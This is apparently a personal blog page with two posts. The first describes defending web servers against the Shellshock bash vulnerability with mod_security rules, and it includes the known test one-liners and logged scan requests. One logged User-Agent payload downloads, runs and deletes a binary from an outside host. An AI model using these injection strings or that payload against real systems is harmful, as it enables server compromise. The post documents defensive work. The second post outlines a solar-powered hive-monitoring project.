Shellshock - first vulnerability scans arrived within a day!

If you are into web technologies then you probably heard about the latest serious vulnerability called "Shellshock", "BASH Bug" or "Shell-Schocker".

This is a vulnerability discovered by the world on Sep 24th affecting BASH - which can be found in basically all linux-based systems, like web servers and such.

The bash shell can be exploited by a sort-of "shell injection" method (similar to SQL-injection);

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

The linux community acted quite fast and most distributions received a patch for this vulnerability in about a day (by Sep 25th).

But on Sep 26th a second method has been reported, which hasn't been patched by this first patch:

env X='() { (a)=>\' sh -c "echo echo vulnerable"; cat echo

While a second patch has been issued too, I am worrying worry that this might not be the end of it, so decided to add the below rules to the application firewall (mod_security) of the web servers I control:

# Request Header values:
SecRule REQUEST_HEADERS "^\(\) {" "phase:1,deny,id:1000000,t:urlDecode,status:400,log,msg:'CVE-2014-6271 - Bash Attack'"

# SERVER_PROTOCOL values:
SecRule REQUEST_LINE "\(\) {" "phase:1,deny,id:1000001,status:400,log,msg:'CVE-2014-6271 - Bash Attack'"

# GET/POST names:
SecRule ARGS_NAMES "^\(\) {" "phase:2,deny,id:1000002,t:urlDecode,t:urlDecodeUni,status:400,log,msg:'CVE-2014-6271 - Bash Attack'"

# GET/POST values:
SecRule ARGS "^\(\) {" "phase:2,deny,id:1000003,t:urlDecode,t:urlDecodeUni,status:400,log,msg:'CVE-2014-6271 - Bash Attack'"

# File names for uploads:
SecRule  FILES_NAMES "^\(\) {"  "phase:2,deny,id:1000004,t:urlDecode,t:urlDecodeUni,status:400,log,msg:'CVE-2014-6271  - Bash Attack'"

This identifies the shellshock attacks by pattern and refuses to service those requests.

It didn't take long and I started to see the real attacks (or rather scan activities to check for this vulnerability) being stopped by mod_security:

--d053083c-A--
[26/Sep/2014:21:58:23 +0200] VCXFX8Cb8koAADcCGiAAAxx 54.251.83.67 57109 192.155.242.xx 80 

--d053083c-B--
GET / HTTP/1.1
Host: 192.155.242.74
User-Agent: () { :;}; /bin/bash -c "echo testing9123123"; /bin/uname -a 

--d053083c-F--
HTTP/1.1 400 Bad Request
Content-Length: 226
Connection: close
Content-Type: text/html; charset=iso-8859-1 

--d053083c-E-- 

--d053083c-H--
Message: Access denied with code 400 (phase 1). Pattern match "^\\(\\) {" at REQUEST_HEADERS:User-Agent. [file "/etc/httpd/conf.d/mod_security.conf"] [line "136"] [id "1000000"] [msg "CVE-2014-6271 - Bash Attack"]
Action: Intercepted (phase 1)
Stopwatch: 1411761503506486 2398 (- - -)
Stopwatch2: 1411761503506486 2398; combined=1163, p1=1120, p2=0, p3=0, p4=0, p5=42, sr=650, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.7.3 (http://www.modsecurity.org/); OWASP_CRS/2.2.9.
Server: Apache
Engine-Mode: "ENABLED"
--d053083c-Z--

--084b991c-A--
[28/Sep/2014:14:20:22 +0200] VCf9BsCb8koAAHcXS2YAAAAB 70.42.149.71 31987 192.155.xx.xxx 80
--084b991c-B--
GET / HTTP/1.0
Host: 192.155.xxx.xxx
User-Agent: () { :;}; /bin/bash -c "wget -O /var/tmp/ec.z 74.201.xx.xx/ec.z;chmod +x /var/tmp/ec.z;/var/tmp/ec.z;rm -rf /var/tmp/ec.z*" 

--084b991c-F--
HTTP/1.1 400 Bad Request
Content-Length: 226
Connection: close
Content-Type: text/html; charset=iso-8859-1
--084b991c-E-- 

--084b991c-H--
Message: Access denied with code 400 (phase 1). Pattern match "^\\(\\s*\\)\\s+{" at REQUEST_HEADERS:User-Agent. [file "/etc/httpd/conf.d/mod_security.conf"] [line "136"] [id "1000000"] [msg "CVE-2014-6271 - Bash Attack"]
Action: Intercepted (phase 1)
Stopwatch: 1411906822051767 33801 (- - -)
Stopwatch2: 1411906822051767 33801; combined=1149, p1=1106, p2=0, p3=0, p4=0, p5=42, sr=643, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.7.3 (http://www.modsecurity.org/); OWASP_CRS/2.2.9.
Server: Apache
Engine-Mode: "ENABLED"

I was a bit surprised to see these coming up on this low traffic site (~20 users / per day) on Sep 26th, within 1.5-2 days of this vulnerability being discovered. This just underlines the point that you need to patch your systems asap and using an application firewall like mod_security is a must.

Solar-based remote monitoring system (#1)

Somebody asked me to build a system to monitor some bee hives over the winter at a remote location where there is no power, no heat and in overall pretty remote.

The worry is that the hives might be intentionally disturbed by some people, so the idea is to build a system which would send images of the hives in every hour or so and also detect motion and would snap and upload pictures if motion is detected. All of these would get automatically uploaded to a server and downloaded to a local "viewing device". If motion was detected, then it would also send a text message to a mobile device with a link to the images taken when motion was detected.

The "viewing device" would be a custom-built image-frame, which would download these images from the internet and display them in sequence when requested (by pressing a button or by motion detection) to verify that everything is in order with the hives.

There are several challenges:

1. At the location there is no power, so a solar system with battery needs to be built out

2. The location might not be visited for weeks/months, so it must run pretty reliably

3. The equipment cannot be right next to the hives, because it would get stolen. While there is a building about 80-90 feet from the hives, where the equipment can be stored, there will be a need to wire a small, undetectable camera from the building to the hives to detect motion and snap pictures.

4. The goal is to provide monitoring for the winter season, when in the given location there are weeks when the sky is cloudy, so solar capacity has to be planned accordingly

5. Saving power is crucial - to minimize the solar panels required, so they are less visible:

   a. While there is 3G coverage in the area, continuous connection is not advisable, due to power consumption

   b. There is no point running the equipment overnight, so I need to build a timer to shut it down in the evening and start it in the morning

All-in-all, quite challenging project.

I think I'm going to go with a solar-powered Raspberry Pi for the monitoring system and for a Raspberry Pi driven image-frame for the "vieweing device".

To be continued....